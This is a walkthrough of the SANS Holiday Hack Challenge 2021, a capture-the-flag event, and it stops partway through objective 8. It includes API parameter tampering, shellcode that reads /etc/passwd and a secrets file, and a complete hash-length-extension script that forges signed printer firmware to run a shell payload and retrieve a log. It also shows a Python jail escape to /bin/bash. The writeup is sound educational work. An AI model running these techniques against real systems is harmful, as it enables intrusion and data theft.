SANS Holiday Hack Challenge 2021 Writeup

Walkthrough

Posted on February 13, 2022

Introduction

Like every year, many thanks to SANS for this incredible event.

Following my solutions.

Objectives

1 - Kringle Orientation

Possible solution

Go to Jingle Ringford and click on him. Then get your badge and wifi adapter. Then click on the terminal and enter “answer”.

2 - Where in the world is Caramel Santiago

Possible solution

Depending on the question, take the next place from the information:

and filter the elves according to the information you get about each place.

3 - Thaw Frost Towers Entrance

Possible solution

  • iwconfig

    determine the wifi interface

  • iwlist wlan0 scanning

    get the essid and encryption

  • iwconfig wlan0 essid FROST-Nidus-Setup ap any

    connect to access point

  • curl http://nidus-setup:8080

    first contact with thermostat page

  • curl http://nidus-setup:8080/apidoc

    look inside the apidoc

  • curl -X POST -H 'Content-Type: application/json' --data-binary '{"temperature": 40}' http://nidus-setup:8080/api/cooler
    

    set the temperature to high so the door melts

4 - Slot Machine Investigation

Possible solution

Open Firefox network tab and edit an existing request to https://slots.jackfrosttower.com/api/v1/…/spin as data set:

betamount=10&numline=20&cpl=-0.9

important is the negative bet size here so you will always win more credits. The solution is after multiple times in the json answer in the “response” key.

5 - Strange USB Device

Possible solution

Use mallard.py in the following way:

./mallard.py -f /mnt/USBDEVICE/inject.bin

Take the base64 and decode the reverse it was encoded

echo '==...' | rev | base64 -d

The output shows a command setting a new connection from ickymcgoop@trollfun.jackfrosttower.com for ssh. So ickymcgoop is the solution you can enter in the terminal section above.

6 - Shellcode Primer

Possible solution

Level 1

; Set up some registers (sorta like variables) with values
; In the debugger, look how these change!
mov rax, 0
mov rbx, 1
mov rcx, 2
mov rdx, 3
mov rsi, 4
mov rdi, 5
mov rbp, 6

; Push and pop - watch how the stack changes!
push 0x12345678
pop rax

push 0x1111
push 0x2222
push 0x3333
pop rax
pop rax
pop rax

; This creates a string and references it in rax - watch the debugger!
call getstring
db "Hello World!",0
getstring:
pop rax

; Finally, return 0x1337
mov rax, 0x1337
ret

Level 2

; We want to loop 5 times - you can change this if you want!
mov rax, 5

; Top of the loop
top:
; Decrement rax
dec rax

; Jump back to the top until rax is zero
jnz top

; Cleanly return after the loop
ret

Level 3

; This is a comment! We'll use comments to help guide your journey.
; Right now, we just need to RETurn!
;
; Enter a return statement below and hit Execute to see what happens!
ret

Level 4

; TODO: Set rax to 1337

; Return, just like we did last time
mov rax,1337
ret

Level 5

; TODO: Find the syscall number for sys_exit and put it in rax

; TODO: Put the exit_code we want (99) in rdi

; Perform the actual syscall
mov rax,60
; ref https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
mov rdi,99
syscall

Level 6

; Push this value to the stack
push 0x12345678

; Try to return
ret

Level 7

; Remember, this call pushes the return address to the stack
call place_below_the_nop

; This is where the function *thinks* it is supposed to return
nop

; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:

; TODO: Pop the top of the stack into rax
pop rax

; Return from our code, as in previous levels
ret

Level 8

; This would be a good place for a call
call label0
; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0

; This would be a good place for a label and a pop
label0:
pop rax
; This would be a good place for a re... oh wait, it's already here. Hooray!
ret

Level 9

; TODO: Get a reference to this string into the correct register
call getstring
db 'Hello World!',0
getstring:
pop rsi

; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write
mov rax,1

; TODO: Set rdi to the first argument (the file descriptor, 1)
mov rdi,1

; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)


; TODO: Set rdx to the third argument (length of the string, in bytes)
mov rdx,0xC

; Perform the syscall
syscall

; Return cleanly
ret

Level 10

; TODO: Get a reference to this string into the correct register
call getstring
db '/etc/passwd',0
getstring:
pop rdi

; Set up a call to sys_open
; TODO: Set rax to the correct syscall number
mov rax,2

; TODO: Set rdi to the first argument (the filename)
; see above

; TODO: Set rsi to the second argument (flags - 0 is fine)
mov rsi,0

; TODO: Set rdx to the third argument (mode - 0 is also fine)
mov rdx,0

; Perform the syscall
syscall

; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!
ret

Level 11

; TODO: Get a reference to this
call getstring
db '/var/northpolesecrets.txt',0
getstring:
pop rdi

; TODO: Call sys_open
mov rax,2
mov rsi,0
mov rdx,0
syscall

; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax
mov rax,0
mov rsi,rsp
mov rdx,255
syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rdx,rax
mov rax,1
mov rdi,1
syscall

; TODO: Call sys_exit
mov rax,60
mov rdi,99
syscall

Level 11+

; TODO: Get a reference to this
call getstring
db '/var/northpolesecrets.txt',0
getstring:
pop rdi

; TODO: Call sys_open
mov rax,2
mov rsi,0
mov rdx,0
syscall

; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax
mov rax,0
sub rsp,0x00000089
mov rsi,rsp
mov rdx,255
syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rdx,rax
mov rax,1
mov rdi,1
syscall

add rsp,0x00000089
ret

7 - Printer Exploitation

Download the current firmware as firmware-export.json from https://printer.kringlecastle.com/firmware/download

firmware-export.json:

{"firmware":"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","signature":"2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97","secret_length":16,"algorithm":"SHA256"}

Extract the base64 into a binary here:

echo -n 'UEsDBBQAAAAIAEWlkFMWoKjwagkAAOBAAAAMABwAZmlybXdhcmUuYmluVVQJAAOipLthoqS7YXV4CwABBAAAAAAEAAAAAO1bX2wcRxmfvfPZ5zpen9OEOE7Al5JIDuTOl6R2HVo3Pttnr9HFMakd1FBns/aufUfvj3u3R+wAIuBSOBWXPlSoD+0LeUklkCh9gQfUBFuVKihKHioiQZEJqeRGoF5UiFJIvczszrfemdtrygvwsJ90+9vvm+83M/vN7HrWO9+3EslhnyAgED96FBFtPGTp/dR+5ojtgm29qAkfP4M+jeqxXufw4zHlYzFot2PxLlI7j7sRi4ID61BtORNgEYU2eQGHzuNbAotOntlemNo5TAksOnkkNusRS1/vY1Gi1znuY3k+yrtDeXf6WFwTWIR41tHfKq2PxyHEIsRw/F1dJed76fXw+AhiEXhfwrx69MkFwn2CtlcrLm0+FiGsXZn0dM+DXRk1kknnSguRhd6eSM+D0WI+esjsU4j6joxNmv5kfkFoSfk2aiPld8/+qPmtt/e8JAy1hAZfOyVWfvuX6xB3GDeEvm0e4Rqvar/Lftz1ke6HXexN+LfVxd5Rw/54jXpSNezkuh9w6xCO1wwJTw+aL+lFJMszC4o8m84pmfQ5DaukXC7qSkGXs0o6h0aSowOD8qHooWg3kkcnjsmqVtDm0kVdK0wcG8zkc9qEMp0hzLlsPkeZsuXq6kjER8fAh+MqmLGFeVBqTzcS+0Gqw/jDfI61Wljh7BVaQWc/awf92lELYSxB1hx2v8O+7rA7nysVhz3gsN9x2J3zv42234A2550nnnjiiSeeeOKJJ578v4m09Neg9GzgnS58+t1Lus+4Ii2tBlfscqP7Oi4y9t3Ax5aOfnxGdPI2gt5bM7Ds+znWZ58H/4N/Gy1fPS2Vr0tLNyrjE8nlwCm8DJeWmz8gjS33XSZ1bp/FnL+3dAyZpldI28uBHxM4ckffjrvzKO1Oo7HW0nGe1LtCEfsvmv7dBQL7N6TLG36pXJEurx+VhDekqxv6NlzBdlpB0FibNdsB/vm+I7gIlbompaW+21FSY/ldfYv0bF97F3krxVe0nsKHNwKtWBemVrj23/s6LpzEHBy4UPmbd6VyqYL79EsRk9c2DOMXxOnNFdzo02Y84l8eLf8+fnK0fDs+GS9/FMcR2Td/AKFJaTlC8LHkflJVcL2IydLlj/z6roN/aOlAyfI/k+XbQ+X348a2P0pLK4J05J3STTI2X5mKPxGfip+Oy7hPaAXGkBk1TzzxxBNPPPHEE0888cQTTzxhRUA+NJwuZM8qBS2cLoZnS5nMYrg0H9bzYVXRtT3EZ5f/4V5kfe+6+75hkDfb3RXD+AnGAxgnMLbeMoxVjI9gvIHxJYwHBOu7q9nOuRNIWAgJu7Y0BJ8XGkLETr7tX8H1fd7RH3d/hPZS/3nsHyYOYmhYbPtiS9PZ4Hl0tP3hzx3e+wDwyTfuFPYLOuol3CfwL4H7azrGxdAzvsHm+incAOV8A//GcfkUKR8QQz/0JcS25/wJMbxclxA7fxCQxNgz9ZLYu9QwIvZ/VeyNi7G42DkghgfENuw/IAbN75skDilcj/P7oyeeeOKJJ5544oknnnjiyX9L7P2Ujv3JTtwCjrS8maqrlLeT6rBPcxfV4R2rnSLs19zNlf9jw8ibOt18CXsqr1Ed9lLGqH4f1b9DsYliG8XtiBV7T2e/BbAHE/zhvbKB4g6KUoC1f7+O7fclio1cff8yrOsB1w2qpyjfoDrEt0L1U7T8Q6o796L+LwT2lfPSE2J12F87Mjj4hXDnkDadVnLh3ujhaCzSs986uWdbfhyNiy6bY/14tFZd7X50w9VeZ88j1h6w5w9rr7fnGWtvsMeDtQftcWTtjfb8YO332fOItTdtbnhm7FtQ2NXejPpd7aKdj8HaW+z7k7WHXDeL+1Grva+ftW9FZ1zt99v3O2vfZt/nrH2763zyo0/Z+7JZ+47NRBHG3obCrvadKOZqb6+yWXkbtwzeTp5zPhzP81w8RWr/GWffQ+0Vzv6Q2cZmf+A+HzbPq+OTpfXEuPFaNP2r4/xijf7Xuq4LZtlWpO7hS9z9XzWP91f189dmPdXj+Bvqz/fzT+axel7dMuupHt+fCiQO1fdFg0DyIUR0icYH4rlDcM97yJr26nlyWHDPq0gIpMm2qvnTSvx91fdRskY9T9J6+HYXavTze9je6muzn58gLxC74z6Fx8oFGocztD9T1P4rRNrdiXq5ep6i/vB8gP+lviZY/vz1vk79u2n9kDuySvvJ+1+pcV03hRp5JzMFvaiXZmejM2gzg0TWs/IMSQ0hiShqXp7L5KeVjKzq+UJRVkoLaCafnc9ouqZGHzp8qNvdiWSvpGWlUFAWZS2nFxbRbEHJarJaymYXMcWhydhTZ13p/7hxt2R5+ET8WEJOjA2RBBbWV0Xy0ONj8WOjg2yJme+CTSNjk3JCojVIQyeQPJI8PhBPyseHhx9LTMgT8YFkQob8mpliyez1x2bUkPyc/n4m/0ZTFV2pTtLhvGTiZfeMTcuR1WJeTik5laTsjB7HBWo6J5eKmursG7lArE8Xi7QaMxVIlnH/IDw183vYjCK2ayhaXMzqyjRGvWBhCs7SOVzTPIrm8roWjQ+MRnRljmpzuVJ0upTOqJG0ikwtpRRTKKou5nB9FuoFq+RrWqGYzucYRcZlBS2jEEd6Np/RSZP4MslpdC6PT3RtAR/NcYkW8maoo1qKzp+UWtjULKo1BSwGnOMWlGx6BpEarUasenAoURTP5iyedm63x38qZJ1NnoWwDKqVJwnCf3P4LGJzkvi8wDDnzy9vDnJ8WI8B7r0Hn3xXuY3XusCHdRsg8GH55PxmQ2QMWWt/4MP6DvAitUO+F/BhnX4SsbmAsA4EhPcLED5+p5G1lgc+rBcBRa7/Pg6fRNa7AeiwrgQM1+g/yDlkxRT4sP4EvMS1z1//05Q/QHVYpwKCH1F3uPCfQ86cSFSVNwvvUSD8+Jc5Pqx7beT8+fTcFzg+rI8B+XgFOXyZ48PfScCnuAHnl9kXOD6sEwAbOX/++l9B7P3L5w/zf0N5/qscv1Z+bi3+6xwf1vmAQe76+Xi+iaw5Dq9Pdr5uxN2fj//b+Nfi4MN6s/IJ+X9GbM6mnQ9N+ZAHXc/xYBzJOlpw8OE95FqXhZ33aP8mx7fXs/R1N3wP/gccH9aN4RjbT54P8iG1AR/WZ7GYuz///NqgNv7tHPi1/n440S2fdRwqrN+sJ4Kqnx+Njr4z/B5K5yrn+99ag3+y18IGjsDz/w1QSwECHgMUAAAACABFpZBTFqCo8GoJAADgQAAADAAYAAAAAAAAAAAA7YEAAAAAZmlybXdhcmUuYmluVVQFAAOipLthdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAALAJAAAAAA=='|base64 --decode > filetocheck

its a zip file:

file filetocheck
filetocheck: Zip archive data, at least v2.0 to extract

zipinfo filetocheck
Archive:  filetocheck
Zip file size: 2584 bytes, number of entries: 1
-rwxr-xr-x  3.0 unx    16608 bx defN 21-Dec-16 21:42 firmware.bin
1 file, 16608 bytes uncompressed, 2410 bytes compressed:  85.5%

I created 4 folders:

exploit_code
exploit_run
hash_extender
unzip

from which hash_extender is generated using

git clone https://github.com/iagox86/hash_extender

Contents of the o ther folders:

unzip:

Here I unzipped the original zip file

unzip filetocheck

so it contains a firmware.bin

exploit_code:

In this folder the exploit code will be generated

exploit_run:

cat runpayload.sh 
#! /bin/bash
cd ../unzip
echo "[Executing original binary]"
./firmware.bin

echo -e "\n[Creating new payload code]"
cd ../exploit_code/
rm firmware.bin 2> /dev/null
echo -e "#!/bin/bash\ncp /var/spool/printer.log /app/lib/public/incoming/secf00tprint.log" > firmware.bin
chmod 755 firmware.bin
rm firmware.zip 2> /dev/null
zip firmware.zip firmware.bin

echo -e "\n[Preparing new firmware-export.json]"
cd ../exploit_run
hashextender_out=$(../hash_extender/hash_extender --file ../unzip/firmware.zip --append "$(xxd -p ../exploit_code/firmware.zip | tr -d '\n')" --append-format=hex --signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 -l 16 -f sha256)
raw_new_string_out=$(echo "$hashextender_out" | grep 'New string' | cut -d ' ' -f 3)
base64_new_out=$(echo -n "$raw_new_string_out" | xxd -p -r | base64 | tr -d '\n')
signature_new_out=$(echo "$hashextender_out" | grep "New signature" | cut -d " " -f 3)
echo -n '{"firmware":"'$base64_new_out'","signature":"'$signature_new_out'","secret_length":16,"algorithm":"SHA256"}' > firmware-export.json
jq '.' firmware-export.json

echo -e "\n[Running payload]"
curl -F 'file=@firmware-export.json' https://printer.kringlecastle.com/firmware
curl https://printer.kringlecastle.com/incoming/secf00tprint.log

Output:

./runpayload.sh  
[Executing original binary]
Firmware is fully up to date!

[Creating new payload code]
  adding: firmware.bin (deflated 13%)

[Preparing new firmware-export.json]
{
  "firmware": "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",
  "signature": "5d5a1bb63fcc5865406d9707683cf1193aeccce28824363a6e23e0e9e11aecd7",
  "secret_length": 16,
  "algorithm": "SHA256"
}

[Running payload]
<html>
  <head>
    <meta http-equiv="Content-type" content="text/html; charset=UTF-8">
    <title>Firmware Update</title>
    <link rel="stylesheet" href="/css/style.css" type="text/css">
  </head>

  <body>
    <h3>Upload your new firmware</h3>
    <p>Note: Firmware must be uploaded as a signed firmware blob.</p>
    <div>
      <form method="post" enctype="multipart/form-data">
        <p>Firmware <input type="file" name="file" id="file"/></p>

        <hr size=2 align=left width="75%" noshade>

        <p><input type="submit" value="Update!"></p>

        <br/>
      </form>
      <p><a href='/firmware/download'><b>Download current firmware</b></a></p>

      
        <p style="color: green; font-weight: bold">Firmware successfully uploaded and validated! Executing the update package in the background</p>
      
    </div>
  </body>
</html>
Documents queued for printing
=============================

Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx

So the solution is:

Troll_Pay_Chart.xlsx

8 - Kerberoasting on an open fire

For this challenge I recommend to use Kali or at least a linux based system where you install the needed tools (cewl, bloodhound, ssh-client).

Registration

First open https://register.elfu.org/ in the browser. Enter stuff until the lines below “First Name”, “Last Name” and “Email” turn from black to green.

browser login

Answer the questions that you are not a robot.

And finally click at “submit”.

You get information on how to login like:

registration infos

So let’s do it:

ssh euisvijnqm@grades.elfu.org -p 2222

and enter the given password.

Exit Students Grade Terminal

students grade terminal

To exit type: Ctrl+D

: Traceback (most recent call last):
File "/opt/grading_system", line 41, in <module>
main()
File "/opt/grading_system", line 26, in main
a = input(": ").lower().strip()
EOFError

To get the shell enter

os.system('/bin/bash');

There is a hint from Eve Snowshoes

There will be some 10.X.X.X networks in your routing tables that may be interesting. Also, consider adding -PS22,445 to your nmap scans to “fix” default probing for unprivileged scans.

So we look at the routes:

ip route
default via 172.17.0.1 dev eth0 
